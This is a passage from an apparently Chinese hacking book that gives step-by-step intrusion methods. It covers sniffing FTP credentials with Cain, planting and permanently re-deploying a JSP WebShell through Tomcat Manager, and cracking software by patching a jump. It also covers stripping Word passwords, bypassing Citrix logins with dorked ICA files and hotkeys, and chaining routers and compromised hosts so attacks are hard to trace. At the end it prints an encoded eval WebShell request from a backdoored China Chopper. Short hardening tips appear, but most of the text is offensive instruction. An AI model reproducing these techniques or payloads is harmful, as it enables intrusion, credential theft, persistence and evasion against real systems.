回到主界面后，如图7-124所示，单击主界面窗口左上角的网卡和圆形图形按钮开始监听。

图7-124 开始监听

7.12.4 运行FTP客户端软件

在肉机（本机）上运行FTP客户端软件，在本例中使用的是FlashFTP。运行FlashFTP后，依次连接站点中的FTP主机地址，如果用户名和密码正确，就会进入FTP服务器的相应目录。如图7-125所示，该服务器是一台文件服务器，其中有很多电影文件，下载速度比较快。

图7-125 运行FTP软件尝试连接

7.12.5 查看监听结果

在Cain的主界面上单击“Sniffer”标签，在下方单击“Passwords”标签，就会在表格中看到Cain的监听结果，如图7-126所示，FTP服务器地址、用户名及密码一目了然。

图7-126 查看监听结果

技巧

（1）先看Cain主界面的左边窗口，在密码下面即为Sniffer的结果。Sniffer的结果是一个树形结构，如果在“（0）”中显示的是监听结果，则本例中有监听结果的是“Ftp（4）”，表示监听到4个FTP密码记录。

（2）依次单击“View”→“Hide”选项，或者使用“Alt+Del”快捷键，可以隐藏Cain监听窗口，而且在计算机上看不到Cain的任何信息，由此即可达到隐藏的目的。

（3）Cain的监听结果会保存在Cain安装目录下对应的LST文件中。本例中监听到的是FTP密码，则结果会保存在ftp.lst文件中。打开该文件，如图7-127所示，可以看到FTP服务器地址、客户端地址、用户名和密码，按照大小进行排序，可以很方便地找出含有监听结果的LST 文件，将其复制到本地即可查看监听结果。

图7-127 文件中保存的监听结果

7.12.6 小结

Cain是一款强大的监听软件，除了密码监听外，还可以进行密码破解等。在入侵过程中，一旦知道对方使用CuteFTP、FlashXP等FTP客户端，则可以将其整个目录及配置文件复制到本地，通过在本地还原或者获取其密码获取更多的信息，甚至直接或者间接提升权限。这种方法虽然没有Serv-U提升权限那么直接，但是结合社会工程学进行木马捆绑诱骗，其效果还是不错的，所以一定要注意防范。

7.13 利用Tomcat的用户名和密码构建后门

“JSP”是“Java Server Pages”的缩写，是由Sun公司倡导、许多公司共同参与建立的一种动态网页技术标准。JSP技术是以Java作为脚本语言的，JSP网页为整个服务器端的Java库单元提供了一个接口为HTTP的应用程序服务。在传统的网页HTML文件（*.htm、*.html）中加入Java程序片段和JSP标记，就构成了JSP网页（*.jsp）。Web服务器在访问JSP网页的请求时，首先执行其中的程序片段，然后将执行结果以HTML格式返回给客户。程序片段可以操作数据库、重新定向网页、发送电子邮件等，这就是动态网站所需要的功能。所有程序操作都在服务器端执行，通过网络传送给客户端的仅是得到的结果，对客户浏览器的要求最低，可以实现无插件、无ActiveX、无Java Applet甚至无框架。

Tomcat是一个免费的开源Servlet容器，它是Apache基金会Jakarta项目中的一个核心项目，由Apache、Sun和其他一些公司及个人共同开发。由于有了Sun的参与和支持，最新的Servlet和JSP规范总能在Tomcat中得到体现。与传统的桌面应用程序不同，Tomcat中的应用程序是一个WAR（Web Archive）文件。WAR是Sun提出的一种Web应用程序格式，与JAR类似，也是一个包含许多文件的压缩包。这个包中的文件按一定目录结构来组织，通常其根目录下包含HTML和JSP文件（或者包含这两种文件的目录），另外还有一个WEB-INF目录（这个目录很重要）。通常在WEB-INF目录下有一个web.xml文件和一个classes目录，web.xml是这个应用的配置文件，而classes目录下则包含编译好的Servlet类和JSP或Servlet所依赖的其他类（如JavaBean）。这些所依赖的类一般也可以打包成JAR文件放到WEB-INF下的lib目录下，当然，也可以放到系统的CLASSPATH目录下，但那样做会给移植和管理带来很多不便。

在Tomcat中，应用程序的部署很简单，只需将WAR文件放到Tomcat的webapp目录下，Tomcat就会自动检测到这个文件并将其解压。在浏览器中访问这个应用的JSP程序时，第一次通常会很慢，因为Tomcat要将JSP文件转化为Servlet文件，然后进行编译。编译以后，访问速度将变得很快。另外，Tomcat提供了一个应用——manager，访问这个应用需要用户名和密码，用户名和密码存储在一个XML文件中。通过这个应用，借助FTP，可以在远程通过Web部署和撤销应用（当然在本地也可以），本案例就是利用这个特性来构建后门程序的。

Tomcat不仅是一个Servlet容器，也具有传统Web服务器的功能——处理HTML页面。但是与Apache相比，它处理静态HTML的能力不如Apache。可以将Tomcat和Apache集成到一起，让Apache处理静态HTML，让Tomcat处理JSP和Servlet。要想实现这种集成，只需要修改Apache和Tomcat的配置文件即可。

7.13.1 检查Tomcat设置

服务器安装Apache Tomcat后，会默认开放8080端口供外部连接使用，一般在浏览器中输入“IP:8080”或者域名来访问Apache Tomcat页面，如图7-128所示。

图7-128 访问Apache Tomcat页面

7.13.2 查看Tomcat用户配置文件

Tomcat安装完成后有一个配置文件tomcat-users.xml，它位于Tomcat程序安装目录的conf目录下，直接打开该文件可以看到其中关于用户名和密码的明文值，如图7-129所示，找到并记住包含“admin,manager”行的用户名和密码。

图7-129 获取用户配置的用户名和密码

说明

（1）有很多对Tomcat不是很了解的管理员在安装Tomcat后没有修改默认密码（默认用户名是“admin”，密码为空），如果是这种情况可以直接登录。

（2）如果用户修改了该密码，那么其密码一定保存在tomcat-users.xml文件中，因此可以通过WebShell获取这个文件的内容。

7.13.3 进入Tomcat管理

Tomcat提供了在线管理功能，本案例也正是利用该功能来构建后门的。如图7-128所示，单击页面左侧的“Tomcat Manager”超链接，会弹出一个要求输入用户名和密码的窗口。该窗口与Windows登录窗口有点类似，如图7-130所示。

图7-130 登录Tomcat管理应用

7.13.4 查看部署情况

输入从tomcat-users.xml文件中获取的具有管理员权限的用户名和密码，验证通过后进入部署管理页面，如图7-131所示。

图7-131 部署管理页面

说明

（1）在部署管理页面中可以“Start”（启动）、“Stop”（停止）、“Reload”（重载）、“Undeploy”（删除部署）已经部署的项目。单击“Undeploy”选项会对文件进行物理删除。

（2）部署的文件夹名称是“*.war”文件的名称。例如，上传的文件是job.war，则在Tomcat目录中会对应生成一个“job”文件夹。

7.13.5 部署JSP WebShell后门程序

在部署管理页面的下方有一个“WAR file to deploy”设置区。选择一个已经设置好的后门WAR文件（本例中的后门程序为job.war），将该文件部署到服务器上，如图7-132所示。

图7-132 将后门WAR文件上传到服务器

说明

（1）部署的文件必须是WAR文件。

（2）将WinZip软件安装在系统中，然后将单个或多个JSP后门文件压缩成一个文件，压缩成功后，将文件后缀从“.zip”更改为“.war”即可。

（3）上传文件后，Tomcat会自动进行部署并运行。

7.13.6 测试后门程序

在地址栏中输入“部署文件名称/JSP文件名”，如图7-133所示，在本例中是“http://127.0.0.1:8080/job/job.jsp”，如果设置正确会显示WebShell登录窗口。

图7-133 登录WebShell

7.13.7 在WebShell中执行命令

在WebShell中输入密码后，进入WebShell管理界面，默认显示服务器的一些信息。在功能菜单中选择“系统命令”选项，并在“执行命令”文本框中输入“netstat -an”命令，即可查看网络连接，如图7-134所示。

图7-134 执行命令

说明

（1）通过这种方式部署的JSP后门程序具有较大权限，可以执行添加用户等危险命令。

（2）在JSP后门中可以通过“文件系统”模块对文件进行操作，通过“数据库”模块进行连接数据库等操作。

（3）本案例构建的后门也正是这里。平时可以在系统中保留一个小的后门程序，如果后门程序被杀毒软件查杀或者被管理员发现并删除，则可以通过以上步骤重新进行部署，从而永久保留后门。

7.13.8 防范措施

对本案例介绍的后门，防范措施如下。

（1）在初次安装Tomcat时，一定要设置密码。

（2）定期修改Tomcat管理员密码。修改Tomcat远程管理默认端口8080为其他端口，或者在远程管理操作结束后停用远程管理功能。

7.13.9 小结

本案例介绍的方法适合于管理员（admin）密码为空的情况，也适用于获取了Tomcat的tomcat-users.xml文件中的用户名和密码的情况。一般来讲，内网防护相对弱一些，因此本案例对于内网渗透有一定的帮助。由于笔者对JSP不是特别熟悉，不知道在JSP中是否可以进行诸如IIS中的严格的权限限制，以及能否禁止JSP WebShell的执行，因此，本案例只探讨服务器攻防——功能再强大的应用程序，也往往会因为存在一个微小的漏洞就被完全攻破。

7.14 破解静态加密软件

一般来说，软件作者将软件编写完成后，出于对安全和利益的考虑，往往会对软件进行加密，以防止盗版和保护合法使用者的权益。软件加密强度与软件作者的编程水平有关，本节所说的软件加密就是常见的软件注册。

7.14.1 软件注册方式

软件注册主要有以下几种。

（1）注册码方式

现在绝大多数软件都采用注册码方式进行保护。这种方式便于在网上进行交易，没有额外的成本。在软件没有注册前，一般都会对软件的功能、使用时间和使用次数等进行限制。常见的注册码方式有“机器码+注册码”、“用户名+注册码”、“组合方式+注册码”。其中最简单的就是早期固定字符串的软件注册，即设置一个固定的字符串，如果用户输入的字符串与指定的相符，则执行程序的正常功能，否则将提示用户退出或者重新输入注册码。

（2）加密狗方式

加密狗方式多见于商业软件，而且一般都会有一个形同U盘的硬件。由于一个加密狗的成本为数十元，因此个人软件很少使用。

（3）光盘加密

光盘加密常见于游戏光盘，用于防止原版光盘被非法复制。

（4）网络验证

网络验证是指软件在注册时要在线连接官方网站进行注册，或者在注册后不定期地自动连接到官方网站进行正版校验，如果无法通过，则视为盗版或者试用版本。

（5）NAG窗口

在使用未注册版本或者试用版本的软件时，经常会弹出一些提示窗口，要求用户注册，这些窗口称为NAG窗口。在软件试用期结束后，NAG窗口很可能会屏蔽软件的正式窗口或者某些重要的功能窗口，使软件不能被正常使用。

7.14.2 破解实例

本例中的注册码是固定的字符串，输入正确的字符串才会显示“Welcome”，否则显示“I am Sad！”，程序运行界面如图7-135所示。

1.查壳

对软件破解来说，第一步往往是检查软件是否进行了加壳处理。目前网上有很多可以用来查壳的软件，例如大名鼎鼎的PEiD等。

直接运行PEiD 0.93，选择需要查壳的文件，如果能够识别，会自动显示文件是采用什么方式进行加壳的。如图7-136所示，显示为“UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo”，即采用UPX软件进行加壳。如果程序没有加壳，则会显示为具体的编程语言。

图7-135 破解原文件

图7-136 查壳

2.脱壳

查出软件采用的加壳软件后，选择相应的脱壳软件进行脱壳。笔者所采用的UPX脱壳软件需要进行安装，安装完成后会自动将一些与脱壳相关的操作加入文件的快捷菜单中。需要脱壳时，选中文件，单击右键，依次选择“UPX ShellEx”→“UPX通用脱壳机”选项，软件将自动脱壳，如图7-137所示。

图7-137 脱壳

说明

有的软件可能采用多种方式加壳。这种软件的脱壳，就需要一层一层进行。脱壳成功后会给出一些提示，如图7-138所示。

图7-138 脱壳成功

3.反汇编

本案例使用W32Dasm进行反汇编。W32Dasm是一款绿色的、功能非常强大的反汇编工具，最高版本为8.93，目前已经不再更新了。一些爱好者根据需要对其进行了修改，出现了一些后续版本，本文使用的就是修改后的W32Dasm 10.0。

W32Dasm反汇编得到的源代码主要用于分析程序的一些基本信息、显示程序使用的各个寄存器段、区段、程序包含的对象及应用的函数等，如图7-139所示。

图7-139 使用W32Dasm反汇编源代码

图7-140 查找字符串

使用W32Dasm反汇编源代码后，可以查找一些字符串，这些字符串可能与注册有关。在本例中主要查找“I am Sad!”。在W32Dasm中依次选择“参考”→“串示数据参考”选项，在弹出的“W32Dasm串式参考内容清单”窗口拖动滚动条，查找“I am Sad!”字符串，如图7-140所示。

注意

使用W32Dasm反汇编的应该是脱壳以后的原文件。

技巧

在查找字符串时，由于字符串是按照字母顺序排列的，因此可以以字符串首字母所在位置进行查找。

查找字符串的目的就是定位地址。找到“I am Sad!”字符串后，双击该字符串，会自动跳转到W32Dasm反汇编窗口，并高亮显示一条数据。记下高亮显示数据的地址信息，在本例中为“004513E6”，如图7-141所示。在该地址上方有一个跳转（jne），在“Welcome”字符串上面有一个“jne”跳转的地址，记下该地址“004513D2”。

图7-141 找到地址

4.使用C32sam反汇编工具汇编原文件

C32asm也是一款反汇编工具。C32asm可以直接对反汇编的文件进行十六进制转换，或者直接进行汇编代码的修改。使用C32asm反汇编原文件以后，单击右键，在弹出的快捷菜单中选择“跳到”选项，在“Eip跳转对话框”中输入跳转地址“004513D2”，如图7-142所示，然后单击“确定”按钮，回到C32asm反汇编窗口。

图7-142 设置跳转地址

回到C32asm窗口，会高亮显示跳转地址代码。如图7-143所示，选中记录“:004513D2:: 75 12 JNZ SHORT 004513E6”，然后单击右键，在弹出的快捷菜单中选择“对应Hex编辑”选项。再次单击右键，在弹出的快捷菜单中选择“对应汇编模式编辑”选项。

图7-143 修改反汇编地址

再次选中记录“:004513D2:: 75 12 JNZ SHORT 004513E6”，单击右键，在弹出的快捷菜单中选择“汇编”选项。如图7-144所示，直接将“JNZ SHORT 004507E6”修改为“NOP”或者“JE SHORT 004507E6”，然后保存。

图7-144 修改跳转地址

5.运行破解后的文件

运行破解后的程序CrackmeNo1_Unpack.exe，随便输入一个注册码，都会显示“Welcome！”字符串，如图7-145所示。程序破解成功。

图7-145 破解成功

7.15 Word文件的加密与解密

Word是目前世界上使用最为广泛的办公文字处理软件之一，在国内有超过90％的办公用户在使用它。政府、企业及个人都喜欢用Word来处理工作和个人事务。使用Word文档时，根据不同的安全或保密等级，可以在保存文档时对文件进行加密，在需要阅读文件内容时进行解密。使用一些Word文件破解软件可以破解简单的密码，但对于复杂一点的密码就无能为力了。

本案例就Word文件的加密和解密方式进行探讨，通过本案例读者可以了解Word文件加密的相关知识，以及如何使用工具软件轻松破解加密后的Word文件。

7.15.1 加密Word文件

一般情况下，我们所说的对Word文件进行加密是指采用Word字处理软件自带的加密功能进行加密。

01 打开“安全性”选项卡

在Word文件编辑状态下，依次选择“工具”→“选项”→“安全性”选项，打开如图7-146所示的界面。

02 设置加密密码

Word文件加密常用的选项有两种，一种是打开权限，另外一种是修改权限（可以对文件进行修改）。在对Word文件进行加密时，可以根据需要设置打开权限密码和修改权限密码。设置完毕单击“确定”按钮保存设置时，需要再次确认密码，如图7-147所示。确认完毕，关闭Word文件，再次打开时就需要输入密码了。如果设置的是修改权限密码，再次打开时会提示用户需要分别输入打开权限密码和修改权限密码。

图7-146 “安全性”选项卡

图7-147 设置加密密码

说明

图7-148 选择Word加密类型

目前也有单独针对Word文件开发的加解密软件，解密这种Word文件非常困难。Word提供了多种加密算法类型，在如图7-146所示的界面单击“高级”按钮，可以在打开的窗口查看和选择不同的加密类型，如图7-148所示。Word默认的加密类型是“Office97/2000兼容”，该加密类型非常容易被破解。

如果要对Word文件进行较高等级的安全保护，建议采用其他加密类型。除了“Office97/2000兼容”加密类型外，其他加密类型均较难破解。对这些加密类型多采用暴力破解，其破解主要与字典有关。

7.15.2 破解加密的Word文件

目前网上有很多关于Word密码破解的软件，如Word Password Recovery Master无限制版、Advanced Office Password Recovery。其主要破解方式是暴力破解，破解成功后会显示原来的加密密码。如果密码相对复杂，破解时间会特别长。

Office Password Remover用于破解“Office97/2000兼容”加密类型的Word加密文件，速度非常快，通常耗时不超过1分钟。其缺点是在破解时需要访问网站http://www. rixler.com/，而且破解后不显示原来的密码。Rixler是一家从事密码恢复的软件公司，其网站还提供了许多密码恢复软件，原版Office Password Remover的下载地址为http:// www.rixler.com/download.htm。

说明

解密Word文件的方式有以下3种。

暴力破解。这是最常用的方式，通过编程将字典中的值依次输入进行尝试，一旦尝试成功，则说明该值为破解值，其破解成功与否往往取决于字典的完善程度。字典在网络安全中扮演着非常重要的角色，不断完善和更新字典是一个好习惯。

针对算法的破解。这种方式要求我们对加密算法非常熟悉，通过加密算法中的缺陷或者是针对加密算法的破解算法进行编程，然后进行自动破解。这种方法速度快，但是使用此类破解软件的技术难度较高。

另类破解。采用这类方法的破解者是天才中的天才，也就是“只有你想不到的，没有他们做不到的”。他们往往采用常人想不到的破解方式进行破解，如王晓芸教授破解MD5加密算法。

使用Office Password Remover破解加密Word文件的步骤如下。

01 打开待破解的Word文件

打开待破解的Word文件后，会出现一个提示输入密码的对话框，如图7-149所示。只有输入正确的密码才能打开该Word文件。

02 开始破解

Office Password Remover的使用很简单，启动后界面如图7-150所示。Office Password Remover汉化后称为OPRemovba_chs。依次单击“文件”→“打开”选项，选择需要破解的Word文件，选择完毕后单击“移出密码”按钮。

图7-149 打开Word加密文件

图7-15 0Office Password Remover

说明

图7-151 解密文档

（1）Office Password Remover在解密文档的过程中需要连接网络。将Word文件中的加密密钥发送到Rixler公司的网站，如图7-151所示。

（2）如果计算机安装了防火墙，一定要设置为允许Office Password Remover通过，否则无法进行破解。当然，为了确保系统的安全，一个折中的办法是破解完成后在防火墙允许程序访问列表中将该程序删除。

03 破解成功

图7-152 解密成功提示

Office Password Remover的破解效率比较高，一般在20秒内就能将加密的Word文件破解。破解成功后会弹出如图7-152所示的“这个文档已经被成功解密！”的提示框。

说明

Office Password Remover破解加密的Word文件后，会在原文件的目录下自动生成一个以“原文件 (DEMO)”方式命名的文件，如图7-153所示。在本例中，原文件为“****网站项目开发合同.doc”，破解成功后会生成“*****网站项目开发合同(DEMO).doc”文件。使用原版的Office Password Remover软件时，如果没有进行注册，则会生成部分文件信息，而不是解密全部文件。

图7-153 解密成功的DEMO文件

技巧

单击“在Microsoft Word中打开文档”选项，可以直接打开被解密的Word文件。

7.16 Citrix密码绕过漏洞引发的渗透

对Citrix系统，笔者进行了一些研究，小有心得，在此与大家分享。

7.16.1 Citrix简介

Citrix是一款广泛流行的远程桌面控制程序，功能类似于微软的远程终端（Terminal Services），只是原理不同。Terminal Services使用的是RDP（Remote Desktop Protocol，远程桌面协议），而Citrix使用的是ICA（Independent Computing Architecture，独立计算机架构）。ICA技术已成为基于服务器计算模式的工业基础，包括以下3个重要内容。

MultiWin：在服务器上模拟本地应用程序处理的多用户层。

服务器端ICA软件：将应用程序的执行和显示逻辑分开，应用程序完全在服务器上运行，并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给客户端。

客户端设备上的ICA软件：一方面接收显示界面，另一方面向服务器发送鼠标移动和键盘击键动作信息，对服务器上的应用程序进行操作。

7.16.2 Citrix的工作方式

Citrix主要有Citrix MetaFrame和Citrix NFuse/Citrix安全网关两种工作方式。

Citrix MetaFrame有XPs、XPa及XPe共3个版本，适合在不同的环境使用。XPs是完全安全版，包括一些不同于其他版本的管理选项；XPa和XPe则功能相对少一些。Citrix默认使用1494端口且只与使用Citrix ICA加密协议的客户端通信。

在Citrix NFuse/Citrix安全网关中，Citrix NFuse允许管理员锁定程序且只能通过Web浏览器通信。Citrix NFuse默认安装在IIS 5.0及以上版本中。Citrix NFuse默认安装情况下的远程权限规则允许管理员执行Citrix安全网关。

7.16.3 Citrix渗透实例

下面给出一个Citrix渗透实例。

01 安装Citrix Presentation Server客户端

安装Citrix Presentation Server客户端与安装其他软件没有什么不同，按照提示进行安装即可。不过在安装过程中需要注意一点：在选择客户端时只选择安装“Program Neighborhood”，不安装“Web客户端”和“Program Neighborhood Agent”，如图7-154所示。

图7-154 选择客户端

02 搜索ICA文件

使用Citrix Presentation Server客户端连接Citrix服务器主要通过读取ICA配置文件来实现。很多Citrix服务器在配置完毕后会将ICA文件放到网上供下载使用。也有一些Citrix服务器配置完毕后不会将ICA文件放在网上，不过用户只要获取正确的ICA文件即可进行连接。

获取ICA文件最简单、最方便的方法就是通过搜索引擎获取。直接打开浏览器，在Google的搜索框中输入“Filetype:ica”，搜索ICA文件，搜索结果如图7-155所示。

图7-155 搜索ICA文件

03 下载ICA文件

在搜索结果中任意选择一条记录，将其指向的ICA文件保存到本地。保存ICA文件的目的就是在本地进行查看，如图7-156所示，在ICA文件中可以看到WFClient、ApplicationServer、Route Clearing DB、EncRC5-0、Compress共5个参数。WFClient参数主要用于指定软件的版本、Citrix服务器地址和连接端口。ApplicationServer参数主要用于指定初始程序等。

图7-156 ICA文件具体内容

下载ICA文件的另一个目的就是尝试修改ICA文件中的配置参数InitialProgram。在权限管理不严格的Citrix服务器中，如果将InitialProgram参数的值改成“cmd.exe”或“explorer.exe”，连接Citrix服务器后就可以直接调出远程服务器上的命令提示符或者资源管理器了。

04 直接打开ICA文件

Citrix Presentation Server客户端正确安装后，默认打开后缀为 .ica的文件。也可以直接单击网页中的ICA文件链接地址，打开Citrix连接提示框。在连接过程中会给出一些提示，如果服务器、客户端及参数相匹配，则会出现登录警告等提示信息，如图7-157所示。

图7-157 登录警告提示信息

在测试过程中，会有很多ICA文件被提示为无效的或者过时的，有的文件虽然会出现连接提示信息，但由于协议不匹配，也无法成功连接。还有一种情况是，通过ICA文件可以连接，但需要连接方提供正确的用户名和密码，如图7-158所示。

图7-158 Citrix中的用户名和密码验证

05 使用快捷键绕过密码验证

在连接Citrix服务器后，可以使用一些快捷键进行常见的操作。

【Shift】+【F1】：打开本地任务列表。

【Shift】+【F2】：切换标题栏。

【Shift】+【F3】：关闭远程应用程序。

【Ctrl】+【F1】：显示Windows安全桌面，相当于本地快捷键【Ctrl】+【Alt】+【Del】。

【Ctrl】+【F2】：打开远程任务列表。

【Ctrl】+【F3】：打开远程任务管理器，相当于本地快捷键【Ctrl】+【Shift】+【Esc】。

【Alt】+【Minus】：在各个任务之间切换，相当于本地快捷键【Alt】+【Shift】+【Tab】。

因为Citrix服务器的某些版本存在密码绕过漏洞，所以可以通过快捷键直接调出任务管理器，从而绕过密码验证。在出现确定的连接后，使用快捷键【Ctrl】+【F3】打开远程任务管理器，如图7-159所示。

图7-159 打开远程计算机上的任务管理器

06 进入远程Citrix服务器

在上一步笔者进入了一台日文的Citrix服务器，很多内容看不懂，于是换了一台英文的服务器进行测试。

通过快捷键【Ctrl】+【F3】打开远程计算机上的任务管理器，然后在任务管理器中依次单击“文件”→“新建任务”→“打开”选项，在其中输入“cmd.exe”或“Explorer”，直接打开命令提示符或者资源管理器窗口。如图7-160所示，通过输入“Explorer”进入对方计算机。

图7-160 通过新建任务进入远程Citrix服务器

7.16.4 问题与探讨

下面就本次渗透中遇到的问题进行探讨。

1.修改参数失效

在下载的ICA文件中，有些时候通过修改参数InitialProgram的值即可顺利进入远程服务器。但是，有些ICA文件在修改该值后，连接Citrix服务器时要求输入用户名和密码，在没有获取用户名和密码的情况下基本无法进入。

2.具有执行程序权限却很难提权

通过ICA文件连接，使用快捷键绕过密码验证后，虽然能够使用计算机中的资源执行部分或者全部程序，但由于权限限制，如果登录的用户没有获得administrator权限，则服务器提权成功很难。

Citrix的更多漏洞可以参考http://secunia.com/advisories/search/?search=citrix。

3.Citrix服务器的一些安全配置方法

现将Citrix服务器的安全配置方法总结如下。

正确配置NFuse/Citrix Secure Gateway。

确定IIS/Apache已经打了最新的补丁，并且在DMZ的保护中，或者使用NTLM认证。

如果可能，要求远程用户使用SecureID认证方式。

使用其他浏览器，尽量不用使用IE。

建立一个组，把所有Citrix用户放到这个组里，禁止它们访问cmd.exe、ftp.exe、tftp.exe、rcp.exe、net.exe、command.com、iexplorer.exe等可能对系统有危害的程序和文件（在安全与应用的平衡之间作出选择）。笔者曾经见过一台服务器，其权限设置非常严格，对每一个文件和文件夹都进行了仔细的审核，尤其对system权限进行了严格的分配。

为Citrix打上最新的补丁。

禁止WinHelp32的访问；启用Internet选项中的禁止下载功能；禁止使用进程管理器。

如果可能，在Citrix中依次选择“Citrix Connection Configuration”→“ICA-TCP”，启用“Client Settings”功能。

7.17 从渗透扫描到路由器跳板攻击

在网络安全的学习过程中，最大的特点就是研究和实践。本案例的内容来自一个网络安全渗透项目，在这里拿出来与大家分享。

通过本案例，读者可以了解如何使用SuperScan 3.0扫描指定单个IP地址或者IP地址范围端口开放情况，扫描端口的处理思路，以及采用跳板的原则。

7.17.1 渗透准备

本案例中用到的工具软件相对较少，需要准备如下工具和实验环境。

端口扫描工具SuperScan

具备Telnet的服务器或者肉机1台

预扫描IP地址段

说明

本次渗透测试的对象是一个固定IP地址段。由于要保护客户的隐私信息，笔者只是展现了渗透中确实能够出现的场景，以及切实可行的思路，但IP地址范围等可能无法重现。

7.17.2 渗透扫描和连接测试

下面讲解渗透扫描和连接测试的步骤。

01 实施端口扫描

运行SuperScan 3.0，在IP地址“起始”和“终止”文本框中分别输入待扫描的IP地址，可以是一个IP地址，也可以是一个范围。在“扫描类型”设置区勾选“查询计算机名”和“显示主机响应”复选框，然后选中“列表中的端口”单选项。本次扫描是对一段IP地址进行全端口扫描，所以自定义扫描端口范围为1～65535。单击“开始”按钮，实施端口扫描，结果如图7-161所示。

注意

（1）在实际渗透过程中可以根据需要进行扫描，大范围扫描时不要全部扫描，否则耗时特别长。如果仅针对23端口，可以只扫描23端口。

（2）扫描可以在肉机上进行，需要特别注意的是SuperScan扫描软件不能自动保存扫描结果。

图7-161 对指定IP地址范围的主机实施全端口扫描

02 整理并测试端口扫描结果

如果扫描的IP地址不是特别多，很快就会在SuperScan中得到扫描结果。如图7-162所示，在本次扫描中，开放21端口的设备数量最多，开放23端口的设备仅有1台。直接选中开放23端口的服务器，然后单击右键，在弹出的快捷菜单中选择“Telnet登陆”选项。

图7-162 整理并测试端口扫描结果

03 Telnet登录

如果Telnet连接成功，则会出现如图7-163所示的要求输入密码和用户名的登录窗口。

说明

（1）在一般的服务器上，Telnet登录都是需要用户名和密码的，但在实际测试过程中我们发现，很多路由器和防火墙的密码默认为空，其用户名多为“admin”。

（2）如果碰到需要验证的情况，可以进行猜测，如果多次猜测错误则只能放弃。

图7-163 Telnet登录窗口

04 继续扫描和测试

重复上面的步骤继续进行扫描和测试，终于出现了一个我们比较熟悉的窗口，如图7-164所示，表示Telnet成功。到网上搜索了一下，发现“telecom”多为电信设备，一般为路由器。

图7-164 使用Telnet连接成功

7.17.3 跳板思路的测试和验证

由于路由器都提供了Telnet功能，因此可以先Telnet到路由器（或者Telnet到肉机服务器再Telnet到路由器），形成“本地→肉机→路由器→工作平台”或者“本地→路由器→肉机→工作平台”的连接线路，从而达到隐藏本地IP地址的目的，也就是搭建通常意义上的“跳板”。

01 从Telnet到跳板服务器或肉机

在telecom提示符下输入需要连接的服务器，在本例中直接输入“telnet 218. ***.***.*** 443”，连接该服务器的443端口。Telnet默认端口为23，在本例中我们对该服务器的Telnet端口进行了修改，以便隐藏。如图7-165所示，此时显示一个登录信息，该信息表明我们Telnet的服务器操作系统是Windows 2000 Server。输入用户名“Administrator”，以及该用户所对应的密码，验证成功后会出现如图7-166所示的界面。

图7-165 从路由器Telnet到肉机

图7-166 Telnet连接成功

02 验证Telnet的效果

在肉机上执行“IPconfig /all”命令可以查看其网络配置情况，如图7-167所示，表明我们通过路由器Telnet后可以在新的Telnet上执行命令。执行“netstat -n | find "443"”命令查看路由器和肉机的网络连接情况，如图7-168所示，验证了跳板的可行性。

说明

（1）理论上，在Telnet上可以建立N个连接，但在实际使用过程中，只要有5个以上就可以了。推荐线路为“本地→国（内）外肉机→路由器→国（内）外肉机→工作平台”。这样的线路一般很难追踪。

（2）以上思路适合于在DOS命令下执行攻击，也就是执行批处理攻击类型，尤其适合Linux下的攻击。

图7-167 在跳板上执行命令

图7-168 查看网络连接情况

7.17.4 路由器攻击和测试

接下来我们进行路由攻击和有关测试。

1.在路由器上执行命令

在telecom提示符下输入“?”获取帮助信息，如图7-169和图7-170所示。路由器有多条命令，根据这些提示输入命令并执行，在执行过程中总是报错，仅能显示一些简单的信息。由于笔者对直接在路由器上执行命令不太熟悉，因此未进行深入测试，熟悉路由器的读者可以自行测试。

图7-169 显示路由器的命令

图7-170 显示路由器的命令（续）

2.路由器提权

既然进入了路由器，那就看看如何进行提权。通过查询，还真找到一些有关路由器提升权限的漏洞，这些漏洞需要构建才能实现。由于本次渗透主要是针对跳板的测试，因此关于路由器渗透方面的问题留在以后研究。

7.17.5 加固方法

笔者认为，在路由器初始设置完毕后可以关闭23端口，或者对23端口进行限制IP地址访问的操作，同时给路由器设置一个比较复杂的用户名和密码。

7.18 手工检测“中国菜刀”是否包含后门

我国有一句古话：“常在河边走，哪有不湿鞋。”互联网上流传的很多安全工具是带有后门的，如SSH Secure Client就曾被曝留有后门（Putty汉化版被爆存在后门，可窃取管理员账号，http://os.51cto.com/art/201202/314269.htm）。在工具中留下后门，就可以不断获取“活的”攻击者、管理员等提交的登录账号和密码，以及服务器和WebShell等权限。那么，著名的WebShell管理工具“中国菜刀”会不会留有后门呢？试一下就知道了！

7.18.1 “中国菜刀”简介

“中国菜刀”是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。只要支持动态脚本的网站，都可以用“中国菜刀”来管理。其程序大小为214KB，如果在非简体中文环境下使用会自动切换到英文界面，采用Uincode方式编译，支持多语言输入和显示。

7.18.2 实验环境

在进行测试前，需要准备如下实验环境。

在本机安装ComsenzEXP（下载地址http://www.comsenz.com/downloads/install/ exp）。

在ComsenzEXP安装目录的wwwroot文件夹下新建一句话后门PHP文件。

安装WSockExpert_Cn程序。

准备Encode程序。

准备带有后门的Chopper程序1套。

7.18.3 分析并获取后门

分析并获取“中国菜刀”后门的操作如下。

01 新建记录

在“中国菜刀”中新建一条WebShell记录，加入一句话后门地址“http:// 127.0.0.1/1.php”，密码为“x”，如图7-171所示。

图7-171 新建WebShell记录

02 配置WSockExpert_Cn抓包软件

打开WSockExpert_Cn（也可以选择其他抓包软件），选择需要监听的程序。在本例中选择“中国菜刀.exe”，如图7-172所示。设置完成后WSockExpert_Cn开始对“中国菜刀”进行监听并获取其通信过程中的包等数据。

图7-172 配置WSockExpert_Cn抓包软件

03 使用“中国菜刀”打开WebShell

在“中国菜刀”中打开WebShell记录“http://127.0.0.1/1.php”，如图7-173所示，可以对WebShell所在的计算机进行浏览、删除、上传等操作。

图7-173 打开WebShell

04 获取数据

在WSockExpert_Cn中可以看到抓取数据包的记录，在其中选择第2条记录，如图7-174所示。复制数据包的内容，其内容如下，代码中包含URL编码，无法看出什么。

x=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%2
9%29%3B&amp;z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuW
FNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZ
DNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVV
